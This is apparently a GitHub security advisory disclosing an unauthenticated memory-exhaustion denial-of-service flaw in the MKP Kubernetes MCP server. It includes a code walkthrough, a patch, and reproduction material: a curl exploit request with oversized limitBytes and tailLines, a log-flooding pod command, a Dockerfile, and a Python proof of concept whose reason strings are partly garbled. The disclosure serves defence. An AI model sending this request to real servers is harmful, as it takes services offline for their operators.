OSV 1.4.0 · github-reviewed · 修改于 2026-07-15 02:09
发布时间
2026-07-15 02:09
GitHub 审查时间
2026-07-15 02:09
NVD 发布时间
—
源文件
advisories/github-reviewed/2026/07/GHSA-qw5r-ppcg-f8rj/GHSA-qw5r-ppcg-f8rj.json
limitBytes/tailLines Causes Memory ExhaustionThe MKP (Model Context Protocol for Kubernetes) server exposes a get_resource MCP tool that proxies Kubernetes pod log requests. User-supplied limitBytes and tailLines parameters are parsed as unbounded int64 values and forwarded directly to the Kubernetes API. The server then reads the entire returned log stream into an in-memory bytes.Buffer using io.Copy without any application-side size cap. A remote unauthenticated attacker can exploit this to exhaust the MKP server's memory by sending a single crafted tools/call request, leading to process termination (OOM kill) and denial of service. Dynamic reproduction confirmed the MKP process RSS grew from 25.8 MB to 1,179.3 MB (+1,153.4 MB) while handling one request with limitBytes=134217728.
The vulnerability exists in pkg/k8s/subresource.go in the buildPodLogOpts() and defaultGetPodLogs() functions.
Source — unbounded parameter parsing (pkg/k8s/subresource.go:171–181):
// pkg/k8s/subresource.go
defaultLimitBytes := int64(32 * 1024) // 32 KB — only used when parameters map is nil
...
if limitBytes, ok := parameters["limitBytes"]; ok {
if b, err := strconv.ParseInt(limitBytes, 10, 64); err == nil {
podLogOpts.LimitBytes = &b // no upper-bound check
}
}
if tailLines, ok := parameters["tailLines"]; ok {
if lines, err := strconv.ParseInt(tailLines, 10, 64); err == nil {
podLogOpts.TailLines = &lines // no upper-bound check
}
}
When the parameters map is non-nil (always true for attacker-supplied input), buildPodLogOpts() is called at pkg/k8s/subresource.go:94–96 and overwrites the 32 KB default entirely. The attacker can therefore supply any positive int64 value (up to 2147483647 or 9223372036854775807) as limitBytes.
Sink — unbounded in-memory copy ():
pkg/k8s/subresource.go:114–115buf := new(bytes.Buffer)
_, err = io.Copy(buf, podLogs) // entire Kubernetes stream copied into RAM
The stream from Kubernetes is read without limit into a heap-allocated bytes.Buffer. Subsequent JSON serialisation and MCP response wrapping create additional copies, meaning the actual RSS increase is a multiple of the raw log size (observed: ~9×).
Attack path (source → sink):
| Step | Location | Description |
|---|---|---|
| 1 | cmd/server/main.go:30 | Server binds to :8080 on all interfaces; no authentication by default |
| 2 | pkg/mcp/server.go:131 | NewGetResourceTool() registered unconditionally (no --read-write required) |
| 3 | pkg/mcp/get_resource.go:28–38 | Attacker-controlled parameters map parsed from CallToolRequest |
| 4 | pkg/mcp/get_resource.go:76 | client.GetResource(..., parameters) called |
| 5 | pkg/k8s/subresource.go:32–33 | resource=pods + subresource=logs routes into getPodLogs |
| 6 | pkg/k8s/subresource.go:171–181 | limitBytes / tailLines parsed without upper bound (source) |
| 7 | pkg/k8s/subresource.go:114–115 | io.Copy(buf, podLogs) loads full stream into bytes.Buffer (sink) |
The rate limiter (pkg/ratelimit/config.go:16–17) caps only request frequency (120 req/min) and places no limit on per-request data volume, providing no meaningful mitigation.
Suggested remediation:
+const (
+ maxPodLogTailLines int64 = 1000
+ maxPodLogLimitBytes int64 = 1024 * 1024 // 1 MB hard cap
+)
+
buf := new(bytes.Buffer)
-_, err = io.Copy(buf, podLogs)
+limitedLogs := &io.LimitedReader{R: podLogs, N: maxPodLogLimitBytes + 1}
+_, err = io.Copy(buf, limitedLogs)
+if limitedLogs.N == 0 {
+ return nil, fmt.Errorf("pod logs exceed maximum size of %d bytes", maxPodLogLimitBytes)
+}
if limitBytes, ok := parameters["limitBytes"]; ok {
if b, err := strconv.ParseInt(limitBytes, 10, 64); err == nil {
+ if b <= 0 || b > maxPodLogLimitBytes {
+ b = maxPodLogLimitBytes
+ }
podLogOpts.LimitBytes = &b
}
}
if tailLines, ok := parameters["tailLines"]; ok {
if lines, err := strconv.ParseInt(tailLines, 10, 64); err == nil {
+ if lines <= 0 || lines > maxPodLogTailLines {
+ lines = maxPodLogTailLines
+ }
podLogOpts.TailLines = &lines
}
}
Prerequisites
Option A — Self-contained Docker reproduction (Phase 2 method)
This method uses a mock Kubernetes API that streams 128 MB of log data:
# 1. Clone the repository and enter it
git clone https://github.com/StacklokLabs/mkp.git
cd mkp
# 2. Build the Docker image (build context is the repo root; Dockerfile is in vuln-001/)
docker build -t mkp-vuln-001 -f vuln-001/Dockerfile .
# 3. Run the exploit container — output includes RSS measurements
docker run --rm mkp-vuln-001
Expected output (condensed):
Initial RSS: 26464 kB ( 25.8 MB)
t+01s: MKP RSS = 383080 kB ( 374.1 MB) [in-progress]
t+02s: MKP RSS = 683876 kB ( 667.8 MB) [in-progress]
t+03s: MKP RSS = 945008 kB ( 922.9 MB) [in-progress]
t+06s: MKP RSS = 1207560 kB (1179.3 MB) [in-progress]
Peak RSS: 1207572 kB (1179.3 MB)
Delta RSS: 1181108 kB (1153.4 MB)
VERDICT: CONFIRMED — RSS grew 1153.4 MB (limitBytes=128 MB)
Option B — Real Kubernetes environment (manual)
# 1. Build and start MKP server (default transport: streamable-http on :8080)
git clone https://github.com/StacklokLabs/mkp.git && cd mkp
task build
./build/mkp-server --kubeconfig=/path/to/kubeconfig
# 2. Create a pod that generates large logs
kubectl -n default run logbomb --image=busybox --restart=Never -- \
sh -c 'yes AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
# Wait ~30 seconds for logs to accumulate, then:
# 3. Send the exploit request
curl -sS http://127.0.0.1:8080/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
--data '{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "get_resource",
"arguments": {
"resource_type": "namespaced",
"group": "",
"version": "v1",
"resource": "pods",
"namespace": "default",
"name": "logbomb",
"subresource": "logs",
"parameters": {
"tailLines": "999999999",
"limitBytes": "2147483647"
}
}
}
}'
Expected observation: MKP process RSS grows rapidly during request handling. With sufficiently large logs or concurrent requests, the process is OOM-killed and the MCP endpoint becomes unavailable.
This is an unauthenticated remote Denial of Service (DoS) vulnerability affecting any deployment of MKP server accessible over the network.
Who is impacted:
mkp-server in its default configuration (no --read-write flag required; get_resource is registered by default on :8080 without authentication).kube-system workloads in production clusters almost always satisfy this condition).A single tools/call request is sufficient to trigger the condition. Because the rate limiter does not cap per-request data volume, even the 120 req/min limit provides no protection: one request with limitBytes=2147483647 (~2 GB) will exhaust memory before any subsequent requests are needed.
No authentication, special privileges, or pre-existing access beyond network reachability of port 8080 is required.
Dockerfile# ── Stage 1: Build mkp-server ─────────────────────────────────────────────────
FROM golang:1.25 AS builder
# GOTOOLCHAIN=local prevents Go from trying to download a newer toolchain
# matching the go 1.25.5 directive in go.mod; any Go 1.25.x is sufficient.
ENV GOTOOLCHAIN=local
ENV CGO_ENABLED=0
WORKDIR /src
# Copy the source tree (build con = parent of vuln-001/)
COPY repo/ .
RUN go build -o /mkp-server ./cmd/server
# ── Stage 2: Runtime ─────────────────────────────────────────────────────────
FROM python:3.12-slim
RUN apt-get update && \
apt-get install -y --no-install-recommends procps curl && \
rm -rf /var/lib/apt/lists/*
COPY --from=builder /mkp-server /usr/local/bin/mkp-server
COPY vuln-001/mock_k8s_api.py /workspace/mock_k8s_api.py
COPY vuln-001/kubeconfig.yaml /workspace/kubeconfig.yaml
COPY vuln-001/exploit.py /workspace/exploit.py
COPY vuln-001/entrypoint.sh /workspace/entrypoint.sh
RUN chmod +x /workspace/entrypoint.sh
CMD ["/workspace/entrypoint.sh"]
poc.py#!/usr/bin/env python3
"""
VULN-001 Dynamic Reproduction Orchestrator.
Build: docker build -t mkp-vuln-001 -f vuln-001/Dockerfile .
Run : docker run --rm mkp-vuln-001
Evidence criterion: MKP RSS grows by ≥ 50 MB while processing a single
tools/call request with limitBytes=134217728 (128 MB), proving that
defaultGetPodLogs() performs an unbounded io.Copy into bytes.Buffer.
"""
import json
import os
import re
import subprocess
import sys
from pathlib import Path
WORK_DIR = Path(__file__).parent.resolve()
REPO_ROOT = WORK_DIR.parent
IMAGE = "mkp-vuln-001"
BUILD_CMD = f"docker build -t {IMAGE} -f vuln-001/Dockerfile ."
RUN_CMD = f"docker run --rm {IMAGE}"
# ─────────────────────────────────────────────────────────────────────────────
def run_streaming(cmd: str, cwd=None) -> tuple[int, str]:
"""Run a shell command, stream its output, and return (rc, full_output)."""
proc = subprocess.Popen(
cmd, shell=True,
stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
text=True, cwd=cwd,
)
lines = []
for line in proc.stdout:
print(line, end='', flush=True)
lines.append(line)
proc.wait()
return proc.returncode, ''.join(lines)
def save_result(result: dict):
path = WORK_DIR / 'phase2_result.json'
with open(path, 'w', encoding='utf-8') as f:
json.dump(result, f, ensure_ascii=False, indent=2)
print(f"\n[poc] Result saved → {path}")
def parse_evidence(output: str) -> dict:
ev: dict = {}
m = re.search(r'Initial RSS\s*:\s*(\d+)', output)
if m:
ev['initial_kb'] = int(m.group(1))
ev['initial_mb'] = ev['initial_kb'] / 1024
m = re.search(r'Peak RSS\s*:\s*(\d+)', output)
if m:
ev['peak_kb'] = int(m.group(1))
ev['peak_mb'] = ev['peak_kb'] / 1024
m = re.search(r'Delta RSS\s*:\s*(\d+)\s*kB\s*\(([0-9.]+)\s*MB\)', output)
if m:
ev['delta_kb'] = int(m.group(1))
ev['delta_mb'] = float(m.group(2))
elif 'peak_kb' in ev and 'initial_kb' in ev:
ev['delta_kb'] = ev['peak_kb'] - ev['initial_kb']
ev['delta_mb'] = ev['delta_kb'] / 1024
m = re.search(r'VERDICT:\s*(CONFIRMED|INCONCLUSIVE)[^\n]*', output)
if m:
ev['verdict_line'] = m.group(0)
return ev
def extract_evidence_block(output: str) -> str:
"""Return the EVIDENCE SUMMARY block, or the last 3000 chars."""
m = re.search(r'={10,}\nEVIDENCE SUMMARY.*?={10,}', output, re.DOTALL)
if m:
return m.group(0)[:3000]
return output[-3000:]
# ─────────────────────────────────────────────────────────────────────────────
def main():
print("=" * 60)
print("VULN-001: Unbounded Pod Log Read — Dynamic Reproduction")
print("=" * 60)
os.chdir(REPO_ROOT)
# ── Docker build ──────────────────────────────────────────────────────────
print(f"\n[poc] Building Docker image…\n[poc] {BUILD_CMD}\n")
rc, build_output = run_streaming(BUILD_CMD)
if rc != 0:
reason = f"Docker build failed (exit {rc}). text error: {build_output[-800:]}"
save_result({
"passed": False,
"verdict": "FAIL",
"reason": reason,
"build_command": BUILD_CMD,
"run_command": RUN_CMD,
"poc_command": "python3 vuln-001/poc.py",
"evidence": build_output[-2000:],
"artifacts": ["Dockerfile", "poc.py"],
})
print(f"\n[poc] FAIL: {reason}")
return False
print("\n[poc] Build OK.")
# ── Docker run ────────────────────────────────────────────────────────────
print(f"\n[poc] Running exploit container…\n[poc] {RUN_CMD}\n")
rc, run_output = run_streaming(f"{RUN_CMD} 2>&1")
print(f"\n[poc] Container exited (code={rc})")
ev = parse_evidence(run_output)
delta_mb = ev.get('delta_mb', 0.0)
print(f"[poc] Parsed evidence: {ev}")
# ── Verdict ───────────────────────────────────────────────────────────────
passed = delta_mb >= 50.0
if passed:
verdict = "PASS"
init_mb = ev.get('initial_mb', 0)
peak_mb = ev.get('peak_mb', 0)
reason = (
f"MKP server RSStext {init_mb:.1f} MB → {peak_mb:.1f} MBtext {delta_mb:.1f} MB increasedone. "
f"the attacker limitBytes=134217728 (128 MB)text tools/call requesttext containswhentextcharacters "
f"pkg/k8s/subresource.go:114-115text io.Copy(buf, podLogs)text limit text "
f"bytes.Buffertext 128 MB text streamtext beforetext text thattext dynamicas confirmed."
)
else:
verdict = "INCOMPLETE"
reason = (
f"RSS text {delta_mb:.1f} MB — 50 MB criteria text. "
f"possibletext cause: MCP session initialization failure, 30seconds texttext timeout text exit, "
f"or Mock API response textreached. container logs text 500characters: {run_output[-500:]}"
)
result = {
"passed": passed,
"verdict": verdict,
"reason": reason,
"build_command": BUILD_CMD,
"run_command": RUN_CMD,
"poc_command": "python3 vuln-001/poc.py",
"evidence": extract_evidence_block(run_output),
"artifacts": ["Dockerfile", "poc.py"],
}
save_result(result)
print(f"\n[poc] {'PASS' if passed else 'INCOMPLETE'}: {reason}")
return passed
if __name__ == '__main__':
ok = main()
sys.exit(0 if ok else 1)